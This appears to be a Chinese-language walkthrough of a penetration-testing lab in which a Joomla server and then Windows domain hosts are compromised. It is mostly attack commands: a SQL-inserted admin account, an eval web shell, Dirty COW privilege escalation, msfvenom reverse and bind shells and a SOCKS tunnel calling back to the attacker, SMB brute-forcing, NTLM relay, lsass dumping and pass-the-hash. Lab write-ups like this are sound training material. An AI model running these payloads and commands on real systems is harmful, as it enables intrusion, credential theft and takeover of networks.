环境配置
kali

web-centos

web1-ubuntu / pc / win2008 /winserver

首先在centos跑一下service network restart
确认一下IP有没有获取。
本次环境IP:
模拟外网IP:10.21.41.206/10 (CENTOS)
模拟内网IP:192.168.93.100/24
信息收集
msf6 > nmap 10.21.41.206
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 25:84:c6:cc:2c:8a:7b:8f:4a:7c:60:f1:a3:c9:b0:22 (DSA)
|_ 2048 58:d1:4c:59:2d:85:ae:07:69:24:0a:dd:72:0f:45:a5 (RSA)
80/tcp open http nginx 1.9.4
|http-generator: Joomla! - Open Source Content Management | http-robots.txt: 15 disallowed entries | /joomla/administrator/ /administrator/ /bin/ /cache/ | /cli/ /components/ /includes/ /installation/ /language/ |/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: nginx/1.9.4
|http-title: Home 3306/tcp open mysql MySQL 5.7.27-0ubuntu0.16.04.1 | mysql-info: | Protocol: 10 | Version: 5.7.27-0ubuntu0.16.04.1 | Thread ID: 25 | Capabilities flags: 63487 | Some Capabilities: LongPassword, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, Speaks41ProtocolOld, SupportsTransactions, Support41Auth, ConnectWithDatabase, Speaks41ProtocolNew, InteractiveClient, FoundRows, SupportsCompression, ODBCClient, LongColumnFlag, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins | Status: Autocommit | Salt: t.(E~D\x117p+X#Gz\x0C2"%a
|* Auth Plugin Name: mysql_native_password
可以看到有个joomla的CMS
后台路径:http://10.21.41.206/administrator/
尝试后台弱口令
第一反应就是爆破后台弱口令爆破密码,先手动尝试了几个常见的没有成功,用msf的scanner/http/joomla_bruteforce_login爆破也没有成功
尝试从目录扫描找到信息
1.php
为phpinfo 得到php版本7.1 ,apache serveradmin webmaster@localhost,
对应根路径/var/www/html/
configuration.php

得到更多的敏感信息:
dbtype:mysqli user:testuser password:cvcvgjASD!@
db:joomla,数据库前缀:am2zu_
ftp都为空
web.config.txt

利用数据库的账户
用模块admin/mysql/mysql_sql尝试一下获取版本
set username testuser
set password cvcvgjASD!@
run


并且能够成功连接。
外网
通过joomla官方提供方式mysql更改joomla密码
数据库名joomla在表am2zu_users中select *

Super User | administrator | [test@test.com](mailto:test@test.com) |$2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2
这里的密码被加密了,但官方给了一个通过sql语句直接解决密码加密的问题,直接添加用户Admin2,密码为secret的加密hash值直接给出
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
注意这里的表名前缀是在之前configuration里面提到过的,注意修改。
添加php木马和探针
在登录到Administrator后台后,找到Extensions的templates(一般都时beez3),找到可以修改php代码的地方,我用的是index.php,直接写了eval一句话。
再填个探针页面。Editing file "/html/matoujin.php" in template "beez3".
<?php
header("content-Type: text/html; charset=utf-8");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
error_reporting(0);
ob_end_flush();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Pragma" content="No-cache" />
<meta http-equiv="Expires" content="0" />
<meta http-equiv="cache-control" content="private" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />//加了这句,看看能不能解决linux下显示乱码的问题?
<title>PHP 探针 v1.0</title>
<style type="text/css">
<!--
body{text-align:center;margin-top:20px;background-color:#a9b674;}
#overview{width:700px;margin:0 auto;text-align:left;}
a{text-decoration:underline;color:#992700;}
.strong{color:#992700;}
.basew{width:300px;}
-->
</style>
</head>
<body>
<div id="overview">
<div id="copyright">版权信息
<a href="hello.php?typ=baseinfo">[基本信息]</a> <a href="hello.php?typ=superinfo">[高级信息]</a>
<?php
if (function_exists("phpinfo")){
echo'<a href="hello.php?typ=phpinfo">[phpinfo]</a>';}
echo'<br />php探针v1.0 by MKDuse(blueidea-id)<br /><br />此程序代码,可免费使用;但不得用于商业用途;完全转载或使用此代码,请保留版权信息;<br />欢迎指正错误提建议,QQ:122712355</div>';
if (empty($_GET['typ'])){
baseinfo();}
else{
switch ($_GET['typ']){
case 'phpinfo':
phpinfoview();
break;
case 'superinfo':
superinfo();
break;
case 'baseinfo':
baseinfo();
break;
default:
baseinfo();}
}
function getime()
{
$t = gettimeofday();
return (float)($t['sec'] + $t['usec']/1000000);
}
function baseinfo(){
echo '<h1>基本信息</h1>';
$arr[]=array("Current PHP version:",phpversion());
$arr[]=array("Zend engine version:",zend_version());
$arr[]=array("服务器版本",$_SERVER['SERVER_SOFTWARE']);
$arr[]=array("ip地址",$_SERVER['REMOTE_HOST']);//ip
$arr[]=array("域名",$_SERVER['HTTP_HOST']);
$arr[]=array("协议端口",$_SERVER['SERVER_PROTOCOL'].' '.$_SERVER['SERVER_PORT']);
$arr[]=array("站点根目录",$_SERVER['PATH_TRANSLATED']);
$arr[]=array("服务器时间",date('Y年m月d日,H:i:s,D'));
$arr[]=array("当前用户",get_current_user());
$arr[]=array("操作系统",php_uname('s').php_uname('r').php_uname('v'));
$arr[]=array("include_path",ini_get('include_path'));
$arr[]=array("Server API",php_sapi_name());
$arr[]=array("error_reporting level",ini_get("display_errors"));
$arr[]=array("POST提交限制",ini_get('post_max_size'));
$arr[]=array("upload_max_filesize",ini_get('upload_max_filesize'));
$arr[]=array("脚本超时时间",ini_get('max_execution_time').'秒');
if (ini_get("safe_mode")==0){
$arr[]=array("PHP安全模式(Safe_mode)",'off');}
else{
$arr[]=array("PHP安全模式(Safe_mode)",'on');}
if (function_exists('memory_get_usage')){
$arr[]=array("memory_get_usage",ini_get('memory_get_usage'));}
//$arr[]=array("可用空间",intval(diskfreespace('/')/(1024 * 1024))."M");
echo'<table>';
for($i=0;$i<count($arr);$i++)
{
$overview='<tr><td class="basew">'.$arr[$i][0].'</td><td>'.$arr[$i][1].'</td></tr>';
echo $overview;
}
echo'</table>';
echo '<h2>服务器性能测试</h2>';
echo'<table><tr><td>服务器</td><td>整数运算<br />50万次加法(1+1)</td><td>浮点运算<br />50万次平方根(3.14开方)</td></tr>';
echo'<tr><td>MKDuse的机子(P4 1.5G 256DDR winxp sp2)</td><td>465.08ms</td><td>466.66ms</td></tr>';
$time_start=getime();
for($i=0;$i<=500000;$i++);
{$count=1+1;}
$timea=round((getime()-$time_start)*1000,2);
echo '<tr class="strong"><td>当前服务器</td><td>'.$timea.'ms</td>';
$time_start=getime();
for($i=0;$i<=500000;$i++);
{sqrt(3.14);}
$timea=round((getime()-$time_start)*1000,2);
echo '<td>'.$timea.'ms</td></tr></table>';
?>
<script language="javascript" type="text/javascript">
function gettime()
{
var time;
time=new Date();
return time.getTime();
}
start_time=gettime();
</script>
<?php
echo '<h2>带宽测试</h2>';
for ($i=0;$i<100;$i++){
print "<!--1234567890#########0#########0#########0#########0#########0#########0#########0#########012345-->";}
?>
<p id="dk"></p>
<script language="javascript" type='text/javascript'>
var timea;
var netspeed;
timea=gettime()-start_time;
netspeed=Math.round(10/timea*1000);
document.getElementByIdx("dk").innerHTML="向客户端发送10KB数据,耗时"+timea+"ms<br />您与此服务器的连接速度为"+netspeed+"kb/s";
</script>
<?php
echo'<h2>已加载的扩展库(enable)</h2><div>';
$arr =get_loaded_extensions();
foreach($arr as $value){
echo $value.'<br />';}
echo'</div><h2>禁用的函数</h2><p>';
$disfun=ini_get('disable_functions');
if (empty($disfun)){
echo'没有禁用</p>';}
else{
echo ini_get('disable_functions').'</p>';}
}//关闭
function superinfo(){
echo'<h1>高级信息</h1><p>PHP_INI_USER 1 配置选项可用在用户的 PHP 脚本或Windows 注册表中<br> PHP_INI_PERDIR 2 配置选项可在 php.ini, .htaccess 或 httpd.conf 中设置 <br>PHP_INI_SYSTEM 4 配置选项可在 php.ini or httpd.conf 中设置 <br>PHP_INI_ALL 7 配置选项可在各处设置</p>';
$arr1=ini_get_all();
for ($i=0;$i<count($arr1);$i++)
{
$arr2=array_slice($arr1,$i,1);
print_r($arr2);
echo '<br />';
}
}
function phpinfoview(){
phpinfo();
}
?>
</div>
</body>
</html>
这样就可以看到被禁用的函数
http://10.21.41.206/templates/beez3/matoujin1.php

可以看到有些命令执行函数是被禁用的
绕过禁用
用蚁剑连接之后

正常下被禁用则会没有正常的回显。
通过蚁剑插件绕过disablefunction即可

使用php7_gc_uaf即可

这样就能够正常回显
(www-data:/var/www/html/templates/beez3) $ ip addr
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:ab:32:ac brd ff:ff:ff:ff:ff:ff
inet 192.168.93.120/24 brd 192.168.93.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:feab:32ac/64 scope link
valid_lft forever preferred_lft forever
可以看到,这里返回的ip地址是192.168.93.120/24,获得一个内网IP,并没有显示外网ip,看来是挂了代理
内网
信息收集
systeminfo一看没有回显,那就是linux系统了
whoami
www-data
uname -a
Linux ubuntu 4.4.0-142-generi
检查定时任务,/home ,/etc/passwd,/tmp,网站根目录
可以看到在/tmp/mysql下有个test.txt
adduser wwwuser
passwd wwwuser_123Aqx
ssh连接
在蚁剑里没有能su wwwuser
在kali里ssh连接一下


可以看到这台主机的ip为192.168.93.100/24,并且拥有外网Ip
uname -a
Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
查看下可以知道这是centos
那么就相当于centos为192.168.93.120做了代理,实际服务搭载在120上面
对centos进行提权
由于2.6.32-431.el6.x86_64
版本低于2.6.32-642.6.2.el6
,存在脏牛提权漏洞
下载exp,传给目标主机
scp dirty.c wwwuser@10.21.41.206:/home/wwwuser
在目标主机上编译
gcc -pthread dirty.c -o dirty -lcrypt
然后先删除一下利用文件
rm -rf /tmp/passwd.bak
再创建新用户(输入密码)
./dirty matoujin
然后就会得到一个firefart/matoujin的新用户
su firefart

然后利用msf进行进一步渗透,构建反向shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.21.41.207 LPORT=4444 -f elf > payload.elf
将payload.elf上传到目标主机
scp payload.elf firefart@192.168.93.100:/home/wwwuser
在目标主机上执行payload
./payload.elf
如果发现权限不够,chmod 777 payload.elf
(这里发现自己用的不是同一个网段,重新调整一下网段)
kali 10.21.41.207=192.168.19.128
centos 192.168.19.129=10.21.41.206
尝试web_delivery上线
payload显示段错误。尝试使用web_delivery上线
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.19.128
set lport 4444
生成的payload在centos上执行

配置路由转发
route 192.168.93.0 255.255.255.0 5
或者
session里直接run autoroute
配置sock代理
kal执行
./ew_for_linux64 -s rcsocks -l 1080 -e 5555
nmap
把ew_for_linux64上传到centos
scp ew-master/ew_for_linux64 [firefart@192.168.19.129](mailto:firefart@192.168.19.129):/home/wwwuser
centos执行
nohup ./ew_for_linux64 -s rssocks -d 192.168.19.128 -e 5555 &
拿下centos后的渗透
使用use auxiliary/scanner/discovery/udp_probe
对内网网段扫描,
得到192.168.93.10 WIN-8GA56TNV3MV-winserver2012
192.168.93.20 win2008
192.168.93.30 win7
信息收集
proxychains nmap -Pn 192.168.93.10

proxychains nmap -Pn 192.168.93.20

proxychains nmap -Pn 192.168.93.30

对445端口的利用
一则永恒之蓝,在vulnstack1已经学过了,这尝试爆破
use auxiliary/scanner/smb/smb_login
set rhost 192.168.93.10
set pass_file keyboard.txt
set SMBuser administrator
或者利用hydra(kali自带)
proxychains4 hydra -l administrator -P /root/桌面/keyboard_top500.txt smb://192.168.93.20
proxychains4 hydra -l administrator -P /root/桌面/keyboard_top500.txt smb://192.168.93.30

就可以跑出密码(密码是手动加的)
就得到了192.168.93.20和30的smb用户名和密码
123qwe!ASD
使用NTLM relay攻击
- 本靶场并不可利用
- 将impacket传至centos
-
scp -r impacket-master firefart@192.168.19.129:/home/wwwuser
- 准备win的木马
-
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.19.128 LPORT=6666 -e x86/shikata_ga_nai -f exe -o shell.exe
- 上传到centos
-
scp shell.exe firefart@192.168.19.129:/home/wwwuser
- kali里自带的responder在share里
-
proxychains4 ./RunFinger.py -i 192.168.93.10
- [SMB2]:['192.168.93.10', Os:'Windows 8.1/Server 2012R2', Build:'9600', Domain:'TEST', Bootime: 'Last restart: 2021-12-13 13:42:12', Signing:'True', RDP:'False', SMB1:'Enabled']
proxychains4 ./RunFinger.py -i 192.168.93.20
[SMB2]:['192.168.93.20', Os:'Windows Vista/Server 2008', Build:'6003', Domain:'TEST', Bootime: 'Last restart: 2019-12-14 19:49:34', Signing:'False', RDP:'False', SMB1:'Enabled']proxychains4 ./RunFinger.py -i 192.168.93.30
[SMB2]:['192.168.93.30', Os:'Windows 7/Server 2008R2', Build:'7601', Domain:'TEST', Bootime: 'Last restart: 2021-12-13 13:42:52', Signing:'False', RDP:'False', SMB1:'Enabled'] - 对20和30进行multirelay攻击,获得目标shell
-
python MultiRelay.py -t 192.168.93.20 -u ALL
- 要做一些环境配置
-
pip3 install pycrypto
apt-get install gcc-mingw-w64-x86-64
x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv
x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode
- 然后再跑命令会出现无日志文件错误,自己去对应目录下mkdir然后新建文件就好
- 现在 SMB 已经由 MultiRelay.py 脚本来进行中继 这样只要等待对方发出SMB信号即可
smb利用
登录smb
proxychains4 smbclient //192.168.93.20/C$ -U administrator
在本机mimikatz目录下登录smb上传mimikatz,不然会出现报错
put mimikatz.exe
- wmiexec脚本(一用sock就挂) 在本机impacket的examples中使用脚本wmiexec
proxychains4 python3 wmiexec.py administrator:'123qwe!ASD'
如果有库报错 在impacket目录下执行python3 -m pip install .
这里用msf的模块smb/psexec
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbpass 123qwe!ASD

meterpreter使用kiwi能直接得出密文

将procdump上传到目标主机
upload procdump64.exe
再进行获取密码
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
打开远程桌面端口并添加管理员用户
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
net user matoujin qwe123!ASD /add
net localgroup administrators matoujin /add
尝试进行哈希传递登录域控
systeminfo
可以看到domain:test.org
mimikatz获取hash
NTLM : bb6b48766fb280d74babb50e781bbc21
sekurlsa::pth /domain:test.org /user:administrator /ntlm:bb6b48766fb280d74babb50e781bbc21
但是在实际操作的时候,怎么都登录不了192.168.93.20这台机,重新解压缩了也不行,看着剩下也没啥步骤就算了。
Comments | NOTHING